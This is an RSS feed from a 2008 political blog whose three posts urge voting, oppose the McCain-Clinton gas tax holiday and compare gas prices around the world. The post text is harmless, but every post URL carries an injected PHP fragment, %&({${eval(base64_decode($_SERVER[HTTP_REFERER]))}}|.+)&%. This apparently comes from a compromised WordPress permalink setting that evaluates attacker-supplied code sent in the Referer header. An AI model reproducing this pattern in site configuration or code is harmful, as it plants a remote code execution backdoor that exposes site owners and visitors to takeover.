<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Invested Citizens &#187; mccain</title>
	<atom:link href="http://investedcitizens.org/tag/mccain/feed/" rel="self" type="application/rss+xml" />
	<link>http://investedcitizens.org</link>
	<description></description>
	<lastBuildDate>Thu, 29 Jan 2009 15:30:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Vote Today! Call Me if You&#8217;re Bored.</title>
		<link>http://investedcitizens.org/2008/11/04/vote-today-call-me-if-youre-bored/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://investedcitizens.org/2008/11/04/vote-today-call-me-if-youre-bored/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 17:20:03 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[election]]></category>
		<category><![CDATA[mccain]]></category>
		<category><![CDATA[obama]]></category>
		<category><![CDATA[president]]></category>
		<category><![CDATA[presidential]]></category>
		<category><![CDATA[us]]></category>

		<guid isPermaLink="false">http://investedcitizens.org/?p=474</guid>
		<description><![CDATA[I hope you’ll vote today. If you don’t want to go, give me a call: ###-###-####. If you think the lines are too long, I’ll keep you entertained. If you don’t think your vote matters, let’s talk about it.
I voted last week and after so much talk of politics and possibilities for the last two [...]]]></description>
		<wfw:commentRss>http://investedcitizens.org/2008/11/04/vote-today-call-me-if-youre-bored/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Say No to Gas Tax Holiday!</title>
		<link>http://investedcitizens.org/2008/05/14/say-no-to-gas-tax-holiday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://investedcitizens.org/2008/05/14/say-no-to-gas-tax-holiday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 14 May 2008 21:42:16 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[clinton]]></category>
		<category><![CDATA[gas tax]]></category>
		<category><![CDATA[gas tax holiday]]></category>
		<category><![CDATA[hillary clinton]]></category>
		<category><![CDATA[john mccain]]></category>
		<category><![CDATA[mccain]]></category>
		<category><![CDATA[oil]]></category>
		<category><![CDATA[oil prices]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://investedcitizens.org/?p=125</guid>
		<description><![CDATA[Sign a letter to Senators Clinton and McCain letting them know that you’re not fooled by election-year gimmicks. You want real solutions to America’s energy problems, not empty gestures.
Go to TerraPass to Sign the petition:
http://www.terrapass.com/campaigns/gas-tax/
]]></description>
		<wfw:commentRss>http://investedcitizens.org/2008/05/14/say-no-to-gas-tax-holiday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Compare Gas Prices Around the World</title>
		<link>http://investedcitizens.org/2008/05/02/compare-gas-prices-around-the-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://investedcitizens.org/2008/05/02/compare-gas-prices-around-the-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 02 May 2008 21:45:32 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[clinton]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gas tax]]></category>
		<category><![CDATA[mccain]]></category>
		<category><![CDATA[oil]]></category>
		<category><![CDATA[oil prices]]></category>

		<guid isPermaLink="false">http://investedcitizens.org/?p=128</guid>
		<description><![CDATA[Here’s a good follow-up to yesterday’s post on the McCain-Clinton gas holiday proposal from the CNN/Money website. Comparing gas prices around the world, Americans enjoy the 45th cheapest gas in the world. It is more costly for residents of 110 countries to fill up at the pump than it is for Americans. Rising gas prices [...]]]></description>
		<wfw:commentRss>http://investedcitizens.org/2008/05/02/compare-gas-prices-around-the-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
